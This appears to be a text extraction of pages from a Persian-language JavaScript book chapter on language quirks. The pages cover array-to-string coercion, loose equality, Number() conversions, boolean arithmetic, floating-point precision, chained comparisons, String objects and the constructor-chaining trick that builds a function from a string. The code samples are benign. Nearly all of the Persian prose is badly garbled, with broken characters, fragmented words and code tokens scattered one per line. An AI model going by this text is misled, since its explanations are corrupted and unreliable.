È Á±´
¸¼ آر
Ë
ب
Ú»
ج
صول·
» ´
کار
Í
ص
»
¿ کار
±» Ù
ی
Á»³·
¾¶ ک¶ م
Î
ل
»
ید؟
É
ک
ÛÈ
ج
Ù
با ه
»
¶ها ر
±»
¿ آر
±³²
· ک
Õº °
¸ا حا
¿±» µº» ¿¹È
دگان م
É
ه
³ ¶Õº
¸و
²Ì±³ óº
ا ¸و
± ¶¾º»
و
Ã
ا
Á
ا
± ¶¾º»
و
à ê¾
مخ
Ʊ°³ ¶
¼ل· ب
µ
یس
Á
ì
پ
º ¶
ک
µº» ϳ»³ ý
ا´ ر
äà ·ÝäÉ
م
Ø
ر
³ ¼ ƹÐ
م
ë
قی
³ Ø
ر
³
باشد ¼ ¼ظیف¶ ما
ϳ»³ ý
ر
ø
¸فا
»
د:
±
ز
»
د
É
بی
Ï
ا
ÌÁ ²±
¶ کد ز
¹¸ ¶
. ب
³
آن م·شو
ÛÓ
´ ر
»²
ار ب
¹
ه
»
¶ ر
Ç»
ر
» ¶
ب
²ßÉ
م
[
1
,
2
,
3
] + [
4
,
5
,
6
];
// -> ‘1,2,34,5,6’
ç
و
Á ·ÉÈ
ض
Ʊ
د
θ ç
، ب¶ موضو
Ï
ا
ÌÁ ¿
¼لی
»
د با
±
·، با
±»
ب¾د
» ´
ها
ÆàÓ
ز
» ³
و
à ´
¾¶ها
Ã
با ¸وج¶ ب¶ آمو
هد
³·
م
ý
´ ر
³
عد
ϳ»³ ç
و
Á
ز
» ²
ی
õ ·±
ها
ϳ»³ ç
و
Á ´¼
ر
²
اض· ب
±
یاتها´ ر
ÂÈ
ع
Ö
ا
ÌÉ
ر ه
³ ¶
، ک
ϳ»³
.µº» ê
¸وصی
Æ
د قاب
Õ
ب
Ñ
¶ کد مثا
¹¸ ƹ
هد ب¶ ش
³·
م
ý
¸فاق· ک¶ ر
» µÝ
ی
Ý
ر ح
³ .
باشید
ϳ²
ک
²¹Ó
220
Çɱ
وا اسکر
²
ج
ÍȲ
ی ج
²º ²ÎÂ
================================================ FILE: HTML/223.html ================================================
[
1
,
2
,
3
] +
[
4
,
5
,
6
][
// call toString()
(
1
,
2
,
3
)
].toString() +
[
4
,
5
,
6
].toString();
// concatenation
“1,2,3”
+
“4,5,6”
;
// ->
(
“1,2,34,5,6”
);
رش¾¶ها´
ì
پ
º ¼ Ï
شد
Ʊ
د
θ ¶¾
رش
Ú± ¶
ب
toString
ز
» ϳ
¾فا
º»
¶ها با
±»
آر
²±³
ا
Ý
م
»
ب¾د
» ·ÉÕ±
هس
²Ì±³ Ú±
¼ با
³
آن
Ñ
ا
฻ ·ÉÕ
¼ رش¾¶ ب¶ م
³
شدن
ÛÈ
د ¼ ج
Á
م·شو
ÛÈ
ج
Ù
با ه
Ï
آمد
µº
بد
籫
در آر
ÂȲ
¶ س
Ï
ا¾ پ
È
کاما
،Ù
هی
³·
ر م
»²
ر آن ق
³ Ù
ه
²º µÐÅ
´ کاما ب¶ صورت
²º Ú± ¼ ϳ²
ک
³
ا
ß±» ·
ال
à ¶±»
آر
Ú± ¶
· ک
Á
زما
ان
¹
م
» Ù
¼ ه
³
هد بو
»
و
à ױ
ا
º ´»
ر
»³ Ù
ه
ìÅ ،Ù±»Ï³²
¶ ک
Ó
ضا
»
ب¶ آن
ì±
د
Á» ´²
س
¹± µÝ
ی
Ý
ر ح
³
³
م·شو
Ï
د
±³ Ë
و
àà ¿±»
ر
³ ¶¾¹Á ¿±
د
É
گ· چ
³
ا
º ¶
ب
²±
ز
Ñ
ر مثا
³ ¶
ک
³
ر
»³ »
شدن ب¶ رش¾¶ ر
Ʊ
د
θ
دهی
Á ð
¸وضی
Ù
هی
³·
م
ð
جی
²¸ ¶
ک
let
a = [1,2, , ,];
a.length;
// -> 4
a.toString();
// -> ‘1,2,,’
ن
³»³
ر
»²
ک¶ ما با ق
µº» Ï
شد
³
ا
ß±»
¾ان
±»²
· ب
º
ا
º» Ñ»
و
º Ú± ø
و
Ó
¶ کد
¹¸ ¶
ب
µ
ق
³ ·È
د با ک
±
شا
×±
ا
º ¶¹
رحالی
³ ،Ù±
م·شد
5 Ñ
¶ ب¶ طو
±»
شدن آر
³
ا
ß±» ¶
ب
²ßÉ
م
µ
س
±
م·با
Ù
ه
²º µÐÅ ´
کاماها
.³²
م·گی
Ï
د
±³
ا
Á »
¶ها ر
±»
ر آر
³ ·Ó
ضا
»
¿ کاما
±²Ã
آ
µ
پ
±²¹º»¼
ک¶، جا
µº» ¿±» Ąº
ا
Å !µº» 4 ¶±»
آر
´³¼
ر ¼ر
³ ·Ó
ضا
» ´
ز کاما
» ϳ
¾فا
º» es8
ز
» ،µº» ƹ
ی¿ ش
È
د ب¶ ه
Õ
ب¶ ب
es5
ز
» Ù
ه
object
³
ر مور
³
.µº» ²±
ذ
Å
ان
¹
م
»
ا
äÃ
ی× بد¼ن
Á íÍ
ا ح¾· م¾دها´ ک
± Û
ب
»
ها´ ¸و
²¾
م
»
ار
Å
اس¶!
Ñ
مع
Ä
ا
»
ت
Á
¾ ب
ß
½و
È Ó± ،Á±´
¾ آر
²
´ب
²
رسی ب
²
ب
¿±» Æ
لی
³ ،
ید
É
ر´ ک
»³³
و
Ã
length
ژگ·
±¼
ز
» ϳ
¾فا
º»
¶ها بد¼ن
±»
س¶ آر
±
ا
Ý
ز م
»
ید
É
· ک
Õº
ا
Õ
ق
»¼
د´ م·باشد.
Õ
ها´ ب
Ñ
د مثا
ÉÁ
· ما
±
ها
µ
ن حال
³»³ ý
, ر
ç
موضو
221
͸
یازد
ØÉ³
================================================ FILE: HTML/224.html ================================================
[] ==
‘‘
// -> true
[] ==
0
// -> true
[
‘‘
] ==
‘‘
// -> true
[
0
] ==
0
// -> true
[
0
] ==
‘‘
// -> false
[
‘‘
] ==
0
// -> true
[
null
] ==
‘‘
// true
[
null
] ==
0
// true
[
undefined
] ==
‘‘
// true
[
undefined
] ==
0
// true
[[]] ==
0
// true
[[]] ==
‘‘
// true
[[[[[[]]]]]] ==
‘‘
// true
[[[[[[]]]]]] ==
0
// true
[[[[[[
null
]]]]]] ==
0
// true
[[[[[[
null
]]]]]] ==
‘‘
// true
[[[[[[
undefined
]]]]]] ==
0
// true
[[[[[[
undefined
]]]]]] ==
‘‘
// true
²¾Ô
هد، ب
³ ý
ر
µº» ¿¹È
¶ها م
±»
س¶ آر
±
ا
Ý
´ با م
³
ا
±
اها´ ز
äà ،
ید
É
¸وج¶ ک
µ
ق
³
با
ø
و
Ó ´
ها
Ñ
ب¶ مثا
شدن
Ö
ا
ßÁ» Ï
و
ÞÁ
ز
» ·Ý
ی
È
ع
Ø
ر
³
ید
É
س¶ م·ک
±
ا
Ý
م
»
¶ ر
±»
آر
²
گ
»
ا
±
ید
É
ک
ϳ
¾فا
º»
length
ز
» µº»
ش¾¶ باشید.
»³ ¶
س
±
ا
Ý
ب¶ م
Ê
بو
²
یات م
ÂÈ
ع
Number
با
undefined
د،
É
· م·ک
Á»³²
بازگ
»
ر
²
ر صف
»
د
Ý
، م
³
و
ÐÁ ϳ»³ í
ا
Å ´
ر
»
د
Ý
م
å
هی
Number
Ï
د
Á
از
º
ب¶ م¾د
²
گ
»
²
ر صف
»
د
Ý
م·باشد ¼ م
undefined
´ آرگومان آن
³¼
· م¾دها ¼ر
Á»
و
û²Ó ´³
عا
µ
حال
ë
اب
ä
· م
ÉÕ±
´³¼
ی¿ م¾د با ¼ر
È
· ه
Á»
و
û²Ó
ک¶ با
Ù±
ر
»³
ار
æ¾Á» ²
¿ ¸فسی
±»
با
Ñ
، حا
µº» Ï
شد
ϳ»³ µÐ
بازگ
NaN
Ï
· شد
Á»³²
ر بازگ
»
د
Ý
ار، م
æ¾Á» òÍò
ما ب
» ،³
شو
Ï
د
Á»³²
بازگ
²
¼ج· صف
²Ã
ان
È
ه
undefined
222
Çɱ
وا اسکر
²
ج
ÍȲ
ی ج
²º ²ÎÂ
================================================ FILE: HTML/225.html ================================================
ید!
É
ک
Ï
ا
ÌÁ ²±
¶ کد ز
¹¸ ¶
ف¾· ب
Ì
· ش
È
با ک
،³
هد بو
»
و
Ã
Number
();
// -> 0
Number
(
undefined
);
// -> NaN
´»²
ب
ecma
³
ر
»
د
Á
¾ا
º» ë
اب
ä
د ¼ م
É
م·ک
ÆÈ
´ ع
³
ز م¾دها´ عا
» ²¸
· م¾فا¼ت
È
¿ م¾د ک
±» µÝ
ی
Ý
ر ح
³
:µº» ²±
ز
ƹ
¿ م¾د ب¶ ش
±»
±
هد بو
»
و
à 0+
´³¼
¼ر
³
و
ÐÁ ¶Ç»
ر
»
¿ م¾د
±» ¶
´ ب
³¼
آرگومان ¼ر
å
هی
²
گ
»
±
د.
É
ک
ToNumber
»
´ ر
³¼
ر ¼ر
»
د
Ý
ورت م
àɱ» ²
ی
õ
ر
³
±
.槯
NaN
با
²
ب
»²
ب
ToNumber
ر
»
د
Ý
م
Ù
ه
undefined ´»²
ب
false
À
true
اضی با
±
باز¾ ر
¼ج· عد
²Ã
¼ل· با
³
اض· بد¼ن عد
±
· باز´ ر
È
ک
true
+
true
(
// -> 2
true
+
true
) *
(
true
+
true
) -
true
;
// -> 3
م·شو
Ʊ
د
θ
1
ب¶
³
ب¶ عد
Ʊ
د
θ
با
true
´³
ر عد
»
د
Ý
اض· م
±
· ر
º
ر
²
ب
Ö
ا
ÌÉ
ه
Number
(
true
);
// -> 1
م·شو
Ö
ا
ßÁ» Ñ»
و
É
ی¿ م
È
ی× ب¶ ه
Á + Ö
ا
ßÁ» Ö
ا
ÌÉ
ب¶ ه
Ʊ
د
θ ¿±»
+
true
;
// -> 1
ToNumber
·Âû³
م¾د
Ù
هی
³ Ö
ا
ßÁ» »
¼ … ر
ë±²
، ¸ف
ÛÈ
ب¶ ج
Ê
بو
²
یات م
ÂÈ
ع
Ù
هی
»
· ک¶ بخو
Á
زما
م·شو
Ʊ
د
θ ³
ما ب¶ عد
²æÁ ³
ارت مور
Î
¼ ع
Ï
· شد
Á»
و
û²Ó
223
͸
یازد
ØÉ³
================================================ FILE: HTML/226.html ================================================
´د
¹¿´ æ½Ø¿ ű´ç·´
د:
Á
ر
»
م·گذ
ı
ا
ÈÁ ¶
ب
»
· ر
Î
ی
ß
¾ارها´ ع
Ó
ا ر
ñÕ
ب
µ
پ
±²¹º»¼
ر جا
³ ³»
عد
»
999999999999999
;
// -> 999999999999999
9999999999999999
;
// -> 10000000000000000
10000000000000000
;
// -> 10000000000000000
10000000000000000
+
1
;
// -> 10000000000000000
10000000000000000
+
1.1
;
// -> 10000000000000002
¿±»
ر
³ ¶
هد، ک
³·
م
ý
ر
3
´²É±
ا¼ر با
É
ی× ش
È
´ م
»²
ب
IEEE 754-2008
³
ر
»
د
Á
¾ا
º» Æ
لی
³ ¶
ب
³
ر
»
¿ مو
±»
د.
Á
م·شو
³²
گ
Ò¼
ز
³
¿ عد
±²¸Ú±³×Á ¶
ب
Ï
شد
²
ک
è ³»
عد
» ϳ¼
د
Þ
م
0é2
À 0é1
Ú»
درس¸ی حاص× ج
ارت م·باشد:
Î
¿ ع
±» ·
س
±
و
Á¶
ام
Á²
¶ ب
É
ر زمی
³ ³
ها´ موجو
Ø
¿ جو
±²¸·È±
ز قد
» ·¹±
var
precision =
0.1
+
0.2;
->
0.30000000000000004
precision ===
0.3
;
// -> false
Ú± ´¼
ر
²
ب
²æÁ ³
اض· مور
±
یات ر
ÂÈ
ع
Ö
ا
ßÁ» Æ
لی
³ ¶
، ب
µº» ϳ
ا
º
ا
äà ¿±»
¼ز
²
ب
Æ
لی
³ Û
ق
»¼
ر
³
،2
/
1
د ¼
É
م·ک
ϳ
¾فا
º» 5
,
2 ·Â
ص
» ´
اک¾ورها
Ó
ز
» ¶
ها´ ما، ک
Ù¾
یس
º
د
ÉÁ
، ما
ϳ ´
ا
ÉÎ
م
²
ب
Ù¾
یس
º
Æ
م
»
ز عو
»
یارها
Õ
¿ م
±»
ز
» Ú± ²
ه
»²±
، ز
³²
ک
ϳ
¾فا
º» ·
گ
³
ا
º ¶
ب
Ù
ی
Á»
م·¸و
»
ر
10
/
1 ¼ 8
/
1 ،5
/
1 ،4
/
1
ر
³ ،³
د بو
É
ه
»
و
Ã
ها م¾فا¼ت
µ
¿ ماهی
±» 2 ´
ا
ÉÎ
ر م
³ Ù¾
یس
º Ú±
ر
³
ما
» ،
د
ÉÉ
م·ک
ϳ
¾فا
º» 10
ز
» ¶
¼لی
»
³
ر م·شو
»²¹¸ 10
/
1
ا
± 5
/
1 ¶
ر حال· ک
³ .
د
Á
· بیان م·شو
Õä
¶ ب¶ طور ق
È
ه
8
/
1 ،4
/
1 ،2
/
1 ،´²É±
با
ش¾¶ ¼
»
د
Á ·Õä
¶ ق
ß
¾ی
Á )5
/
1 ¼ 10
/
1( 0،2 ¼ 0،1 ¿±»²
اب
É
ب
،Ù
ی
É
·ک
ÈÁ »
ید
Å µº³ ·Õä
´ ق
»¶ß
¾ی
Á ¶
¼ ب
³»
د
Ã
¿ ر
±» î
¼ باع
³
م·شو
Ö
ا
ßÁ» ¼³ ´
ا
ÉÎ
ز م
» Ʊ
د
θ ،
د
Á
م·شو
Ö
ا
ßÁ» ·
هده
³ Ù¾
یس
º Ú±
ر
³
چون
سان باشد.
Á» ´»²
دن ب
Á»
و
à Æ
´ قاب
³
¸ا ب¶ عد
³
م·شو
ϳ
¾فا
º» ·
اض
±
ا¼ر ر
É
ی× ش
È
ز م
» ¶
· ک
±
زبانها
Ö
ا
ȸ ¶¹Â
، ب
µ
یس
Á µ
پ
±²¹º»¼
ر جا
³ óÝÓ Æ¹Ð
¿ م
±»
.µº» Ï
¾¶ شد
Ã
ا
º
´ آن
»²
ی× ب
Á
4
µ±
¼بسا
Ú± ·¾
د، ح
Á
ر
»³ »
¶ ر
Â
ی¿ مسئ
È
د ه
ÉÉ
م·ک
3 Binary Floating-Point Arithmetic
4 http://0.30000000000000004.com
224
Çɱ
وا اسکر
²
ج
ÍȲ
ی ج
²º ²ÎÂ
================================================ FILE: HTML/227.html ================================================
د
¹¿ Á
´¾ س
²
ب
Á˱
مقا
Ä
ا
غ´
1
<
2
<
3
;
// -> true
3
>
2
>
1
;
// -> false
¶؟'
ɹÈ
ور´ م
ä
ید: 'چ
±
و
Ì
ب
³
و
Ã
ن با
°»
د
±
شا
س¶
±
ا
Ý
م
ì
پ
º ¼ Ï
شد
Ö
ا
ßÁ» ¶
س
±
ا
Ý
¼لی¿ م
» ¶
ک
»²
، چ
µº» ϳ
ا
º µ
پ
±²¹º»¼
با جا
³»
د
Ã
¿ ر
±» ¶
¸وجی
¼ ð
ی
Þ
ارت ص
Î
¼لی¿ ع
» ³
م·شو
î
باع
ç
ی¿ موضو
È
¼ ه
³
م·شو
Ö
ا
ßÁ» Ѽ» ¶
س
±
ا
Ý
¶ م
ß
¾ی
Á
با
Ö¼³
باشد.
óÂõ
ارت
Î
¼می¿ ع
³
1
<
2
<
3
;
// 1 < 2 -> true
true
<
3
;
// true -> 1
1
<
3
;
// -> true
3
>
2
>
1
;
// 3 > 2 -> true
true
>
1
;
// true -> 1
1
>
1
;
// -> false
اضی
±
ا¾ ر
Ⱦ
باز
µº³ ¶
· ب
Î
ی
ß
ع
ù±
¾ا
Á ،³»
عد
» ç
و
Á
ز
» ²
ی
õ ¶
ها، ب
ϳ»³ ç»
و
Á»
اض· با
±
ات ر
κ
ا
Þ
· م
ò
ب
Ö
ا
ßÁ»
با
.):
ید
ɹÁ
ان
Þ¾
م
» ¶Á
ا
Ã
ر
³ ×
گ
²
ه
»
یاتها ر
ÂÈ
¶ ع
Á
و
Ìɱ» ¶¾Î
ل
» ¼
د
±
م·آ
3
-
1
// -> 2
3
+
1
// -> 4
‘3’
-
1
// -> 2
‘3’
+
1
// -> ‘31’!
‘‘
+
‘‘
// -> ‘‘
[] + []
// -> ‘‘
{} + []
// -> 0
[] + {}
// -> ‘[object Object]’!
{} + {}
// -> ‘[object Object][object Object]’!!
225
͸
یازد
ØÉ³
================================================ FILE: HTML/228.html ================================================
‘222’
- -
’111’
// -> 333!
[
4
] * [
4
]
// -> 16
[] * []
// -> 0
[
4
,
4
] * [
4
,
4
]
// NaN
ی¿
Á»
´ قو
²º Ú± µ
پ
±²¹º»¼
جا
µÝ
ی
Ý
ر ح
³
؟
µ
چیس
µ
پ
±²¹º»¼
جا
é
ی
ß
¾ار ع
Ó
¶ ر
Á
¿ گو
±» Æ
لی
³
ت
ͱ
د
θ ¼ ³
و
ÐÁ
ا
äÃ
چار
³ ¶
ام
Á²
د ب
É
· م·ک
Õº ¶
، ک
³
ر
»³ ·
اض
±
یاتها´ ر
ÂÈ
ع
Ö
ا
ßÁ» ¼ ·º
ر
²
´ ب
»²
ب
هد.
³·
م
Ö
ا
ßÁ»
´ آن
»²
ب
Ï
شد
Ï
چید
ëäÉ
م
Ú± í
ا
º»²
ب
»
· ر
ÉÈ
ض
ی
É
¶ م·ک
Ç»
ر
»
ها
ϳ»³ ç
و
Á ¼
یاتها
ÂÈ
ز ع
» ·Ã²
´ ب
»²
ب
ϳ
ا
º ·Â
ک
Ѽ
جد
Ú±
Number
+
Number
-> addition
Boolean
+
Number
-> addition
Boolean
+
Boolean
-> addition
Number
+
String
-> concatenation
String
+
Boolean
-> concatenation
String
+
String
-> concatenation
د:
ɾ
یس
Á
instanceof String
ید ک¶ رش¾¶ها
É
¾¶ ¸وج¶ ک
Î
ل
»
“str”
;
// -> ‘str’
typeof
“str”
;
// -> ‘string’
“str”
instanceof
String
;
// -> false
µº» Ï
د
ÐÁ ¶¾Ã
ا
º ´»
شي
å
ه· رش¾¶ هی
³
ر
»
د
Ý
ک¶ با م
»²
، چ
µº» µ
پ
±²¹º»¼
با جا
ë
ح
µÝ
ی
Ý
ر ح
³
ی
É
ان ک
Þ¾
م
» »
´ ر
²Ì±³ á¼
هید ر
³ Ï
جاز
» ،
باشد
Ù
ه
String
ز
» ´»
instance
ک¶
typeof
String
(
“str”
);
// -> ‹string›
String
(
“str”
);
// -> ‹str›
String
(
“str”
) ==
«str»
;
// -> true
String
(
“str”
)
instanceof
String
;
// -> false
ان با،
ÉãÈ
ه
instanceof
·º
ر
²
، ب
µº» Ï
د
ÐÁ ³
ا
ß±»
object
وز
É
ک¶ چون ه
Ù
ی
É
م·ک
Ï
اهد
Ð
م
·Þ
ی
Þ
½ ص
»
· جو
º
ر
²
¿ ب
±» Ù
هی
»
بخو
²
گ
» .µ
یس
Á ²
ب
»²
، ب
槯
String
رش¾¶ها ک¶
Ï
د
ÉÁ
وشا
Å
object
ی
É
ک
ϳ
¾فا
º»
new
ز
» µ
س
±
ش¾¶ باشد، م·با
»³
226
Çɱ
وا اسکر
²
ج
ÍȲ
ی ج
²º ²ÎÂ
================================================ FILE: HTML/229.html ================================================
new
String
(
“str”
) ==
“str”
;
// -> true
typeof new
String
(
“str”
);
// -> ‘object’
// object ?
new String(“str”); // -> [String: ‘
str
’]
call
ÂȲ
¶ س
Ï
ی پ
º´
و
É´²·
:µº» Ï
شد
»
ید
Å
@cramforce
óº
¸و
³
¿ مور
±»
console
.log.call.call.call.call.call.apply(
a
=> a, [
1
,
2
]);
¿±
د
É
ن چ
³²
ک
Ñ
ا
È
ع
» ·¾
، ح
Ù±»Ï³²
ک
Ñ
ا
È
ع
»
console.log
ب¶
apply
با
»
ر
call
م¾د
Ñ
¿ مثا
±»
ر
³
ما
باشد،
ûÉ
¾ان گ
±»²
· ب
È
د ک
±
، شا
³²
·ک
ÈÁ ³
ا
ß±» ·Â¹Ð
· شدن، م
Á»
و
û²Ó ϲ
ی
ßÁ
ب¶ ز
²Ì±³
call
ید.
É
¶ ک
Õ
ال
ä
· م
È
ک
»
ر
app
¼
call
ب¶ م¾دها´
Ê
بو
²
ت م
»
د
ɾ
ید مس
Á»
م·¸و
constructor
ژگی
±À
const
c =
“constructor”
;
c[c][c](
‘console.log(“MyMessage?”)’
)();
// > MyMessage?
هید
³ Ï
جاز
»
؟
µº» Ï
شد
parse
Ï
شد
ϳ»³ ¶¾
· رش
ÉÕ± ،¶
ک
µº» ¿±»
د
±
م·آ
Ä
ی
Å ¶
ل· ک
»
و
º ¿
¼لی
»
:Ù±²
و ب
Â
¶ ج
Â
ح
²
¶ ب¶ م
Â
ح
²
ب¶ صورت م
»
ر
Ñ
¿ مثا
±»
// Declare a new constant which is a string ‘constructor’
const
c =
“constructor”
;
// c is a string
c;
// -> ‘constructor’
// Getting a constructor of string
c[c];
// -> [Function: String]
227
͸
یازد
ØÉ³
================================================ FILE: HTML/23.html ================================================
21
خ´ اول
µ
ç
ی¿ موضو
È
. ه
³²
ک
Ï
شار
» … ¼ Schema، Lisp
، زبان
C
Ï
¾¶ شد
Ã
ا
É
و½ ¼ ش
ÎÞ
ن ب¶ زبان م
»
م·¸و
µ
پ
±²¹º»¼
س· با زبان جا
±
و
Á
کد
ç¼²
´ ¼ ش
²
گی
³
ا
±
سان
±
و
Á¶
ام
Á²
ز ب
» ´
´ بسیار
»²
ک¶ ب
µº» Ï
شد
î
باع
ان باشد.
º
بسیار آ
ام
º²
ب
( ¹
ک
槯
و
Ã
ر
³ »
اص· ر
à ¶
¼ظیف
Ö
ا
ßÁ» ،)²¸
کامپیو
( Ù¾
یس
º
ز
» ¶
ها ک
ÆÈÕ
ل
»
¾ور
º³
ز
» ´»¶
وع
Èß
ب¶ م
Ʊ
ا
Ó Ú±
ب¶ صورت
ً
وما
È
. کدها ع
³
گف¾¶ م·شو
)
Source Code
(
کد
í
ور
º
ا
±
ام¶ کد
Á²
د، ب
É
م·ک
·º
ار
Ó
زبان
²
ی
æÁ ·Õ
ی
Î
اب¶ زبانها´ ط
Ð
ی× م
Á ·
س
±
و
Á¶
ام
Á²
ا´ ب
ÔÁ
د. زبا
Á
م·شو
ϲ
ی
Ãè ¼ ¶¾
وش
Á ·É¾
م
ت ¼
»
¾ور
º³ ¶
ک
µº» Ï
شد
Æ
ی
¹Ð¸ ·±
ها
³»³
ر
»²
ی¿ ¼ ق
Á»
وع¶ قو
Èß
ز م
» ·ÉÕ± .
د
ɾ
یس· هس
ÂÌÁ»
ا
±
گف¾¶ م·شو
)
syntax
(
و
ÞÁ
ا
± ²¸
د ک¶ ب¶ آن زبان کامپیو
É
م·ک
À
خ
Ð
م
»
ر
µº
ر
³
ا
Á ¼ µº
ر
³
ارت
Î
ع
)
Statements
( Ê´
دس¸ور
»
· ر
à
خ
Ð
ها ک¶ ¼ظیف¶ م
²ÌÂÈ
¼ ع
³»
عد
» ،
ات
ÈÂ
ز ک
» ´»¶
وع
Èß
س· ب¶ م
±
و
Á¶
ام
Á²
ر زبانها´ ب
³
²±
ز
ƹ
ب¶ ش
µ
پ
±²¹º»¼
ر زبان جا
³
ت
»
¾ور
º³
ز
» ·
. مثال
³
گف¾¶ م·شو
´ستور
Ú±
د
É
ه
³·
م
Ö
ا
ßÁ»
:槯
a = b + 10;
ÆÈ
ع
²±³
ا
Ý
´ م
»²
´ ب
»Ï
د
Á
ر
»
د
ÔÌÁ
د
ÉÁ
ک¶ ما
³
گف¾¶ م·شو
)
variable
(
¶±
تغ
³
b
¼
a
ها´
²¾
ک
»
ب¶ کار
ر
³
ها
²
¶ با م¾÷ی
ä
ب
»
ر ر
³ .
د
Á²
ی
Ì
ر ب
»²
ق
ϳ
¾فا
º» ³
ام¶، مور
Á²
´ ب
»²
ج
» Ñ
ر طو
³ µº»
ر
»²
د ¼ ق
ÉÉ
م·ک
Ï
امید
Á )
value
(
قد·ر
³
°
با
Ñ
ر مثا
³
10
³
هد شد. عد
»
و
à ϳ»³ Æ
ات کام
Þ
د ¸وضی
Õ
ها´ ب
Ä
بخ
Ö
ا
ßÁ»
ها
²ÌÂÈ
د، ¼ظیف¶ ع
Á
¾¶ م·شو
Ã
ا
É
ش
²ÌÂÈ
ن ع
»
و
É
ب¶ ع
+
¼
=
ها´
²¾
ک
»
ی¿ کار
ÉãÈ
. ه
³
م·شو
¿±» ë±²
ز ط
» ½
¾سا
Á»
ا
± ·
اض
±
یات ر
ÂÈ
ع
Ñ
ن مثا
»
و
É
، ب¶ ع
槯
ها
²
¼ م¾÷ی
²±³
ا
Ý
ر¼´ م
²
یات ب
ÂÈ
ع
م·شو
Ö
ا
ßÁ»
ها
²ÌÂÈ
ع
د.
ɺ
ان م·ر
±
ا
Å ¶
ب
)
;
( Ñ
گو
²±¼ ¶äÝÁ
ا با
Ô¾Á»
ر
³ ،µ
پ
±²¹º»¼
ر جا
³
ت
»
ار
Î
ع
²¾Ð
بی
Ï
شد
ϲ
ی
Ãè
ر
»
د
Ý
م
ک¶:
³
هد بو
»
و
à ¶Á
و
Ìɱ» Ù
ی
É
· بیان ک
º
ار
Ó
ب¶ زبان
»
ر
°
با
Ñ
· مثا
ÉÕ
م
Ù
هی
»
بخو
²
گ
»
ک¿.
ϲ
ی
Ãè
a
²
ر م¾÷ی
³ »
ر
ÛÈ
ج
Æ
ک¿ ¼ حاص
ÛÈ
ج
10 ³
با عد
»
ر
b
²
ر م¾÷ی
³
»
اص· ر
à ò
هد
²Ì±
د
¹±
با
Ê
ا
θ
ر
»
ر
³ ¶
ک
槯
ت
»
¾ور
º³
ز
» ´»¶
وع
Èß
´ م
²¸
ام¶ کامپیو
Á²
ب
²
ه
Û
ق
»¼
ر
³
د.
ɾ
هس
³
و
à ²æÁ ³
¶ مور
ß
¾ی
Á
ن
³²
ک
ϳ
آ¼ر
²
ب
Ñ
ا
ÎÁ³ ¶
د ¼ ب
ÉÉ
م·ک
Ñ
ا
ÎÁ³
================================================ FILE: HTML/230.html ================================================
// Getting a constructor of constructor
c[c][c];
// -> [Function: Function]
// Call the Function constructor and pass
// the body of new function as an argument
c[c][c](
‘console.log(“WTF?”)’
);
// -> [Function: anonymous]
// And then call this anonymous function
// The result is console-logging a string ‘What?’
c[c][c](
‘console.log(“What?”)’
)();
// > What?
óº
هد ک¶ ¸و
³·
م
µÐ
بازگ
»
· ر
Õ
،¸اب
Object
Ï
د
Á
از
º ìÁ²Ó
ر
Object.prototype.constructor
، م¾د
Ù±³²
ک
ϳ
¾فا
º» ¶¾
ز رش
» ¶
ک
Ñ
¿ مثا
±»
ر
³ .µº» Ï
¾¶ شد
Ã
ا
º
object
´»²
ب
²æÁ ³
مور
instance
ی¶
Ý
´ ب
»²
ب
é
¸ی
²¸ ¿
ی
È
¼ ب¶ ه
³
م·بو
Number
Ù±³²
م·ک
ϳ
¾فا
º» ³»
عد
»
ز
» ²
گ
» ،³
هد بو
»
و
Ã
String
Û
´ ¸اب
»²
ج
»
IIFE
Û
د، ب¶ صورت ¸اب
±
جد
Û
¶ ¸اب
Á
ن بد
³»³ í
ا
Å ¼ Ï
د
Á
از
º
· م¾د
Á»
و
û²Ó
ها. با
ϳ»³ ç
و
Á
.³³²
م·گ
Ö
ا
ßÁ»
´س¶
object
Ó±
object
ژگی ´ز
±À Ó± ¹½Ð
ک
// create sth
{
[{}]: {}
}
// { ‘[object Object]’: {} }
Ʊ
د
θ ´»²
· ک¶ ب
ÉÕ
¿ م
±» ¶
د، ب
ɱ
م·گو
Ï
شد
)
property computed
ز
»³²Å ·
ژگ
±¼ ،µ
¿ حال
±» ¶
ب
ن
»
و
É
ب¶ ع
Ï
شد
á
ز
»³²Å
¼ ب¶ صورت
Ù
هی
³·
ر م
»²
ق
] [ ÆÃ»³ »
ژگ·، آن ر
±¼ ¶
ب
²æÁ ³
ارت مور
Î
شدن ع
رش¾¶
³
ا
ß±» ¼
آن
á
ز
»³²Å î
، باع
] [ ÆÃ»³
ر
³ { }
ن
³»³
ر
»²
ی× ق
Á Ñ
¿ مثا
±»
ر
³ ،³
م·شو
ϳ
¾فا
º» ·
ژگ
±¼
هی
³ Ö
ا
ßÁ» »
¿ کار ر
±» ´»Ï²
ی
ßÁ
ب¶ صورت ز
Ù
ی
Á»
. ح¾· م·¸و
³
م·شو
Object
228
Çɱ
وا اسکر
²
ج
ÍȲ
ی ج
²º ²ÎÂ
================================================ FILE: HTML/231.html ================================================
({ [{}]: { [{}]: {} } }[{}][{}]);
// -> {}
// structure:
// {
//
‘[object Object]’: {
//
‘[object Object]’: {}
//
}
// }
prototypes
Á
سی ب
²¸
دس
¿¹È
م
Ñ
¿ حا
±»
د. با
ɾ
یس
Á
prototype
´»
ر
»³ )
pirimitive
( ·Â
ص
» ²±³
ا
Ý
م
Ù
ی
Á»
¶ ک¶ مید
Á
و
ÌÁ
ا
È
ه
ید:
É
ک
ϳ
¾فا
º» á¼
¿ ر
±»
ز
»
آنها
prototype
¾یاب· ب¶
º³ ´»²
ب
槯
(
1
).__proto__.__proto__.__proto__;
// -> null
م¾د
óº
اشد ¸و
ÎÁ
prototype
´»
ر
»³ ´
ر
»
د
Ý
م
Ú± ·¾
هد ک¶ ¼ق
³·
م
ý
ر
Æ
لی
³ ¿±» ¶
¶ ب
Â
¿ مسئ
±»
ی
É
ی
Î
¶ ب
Â
ح
²
¶ ب¶ م
Â
ح
²
، ب¶ صورت م
³
م·شو
Ï
د
Á
وشا
Å
ToObject
(
1
)
.__proto__(
// -> [Number: 0]
1
)
.__proto__.__proto__(
// -> {}
1
).__proto__.__proto__.__proto__;
// -> null
æ½Ø¿
Object
¶É
سا
؟
³
هد بو
»
و
Ã
د ب¶ چ¶ صورت
Õ
¶ کد ب
¹¸ á
ز
»³²Å ¶ß
¾ی
Á ،
ا
È
ش
²æÁ ¶
ب
229
͸
یازد
ØÉ³
================================================ FILE: HTML/232.html ================================================
`${{
Object
}}`
;
:²±
ز
ƹ
، ب¶ ش
Ąº
ا
Å
// -> ‘[object Object]’
notation property Shorthand
ز
» ϳ
¾فا
º»
با
»
ر
µ
هس
object
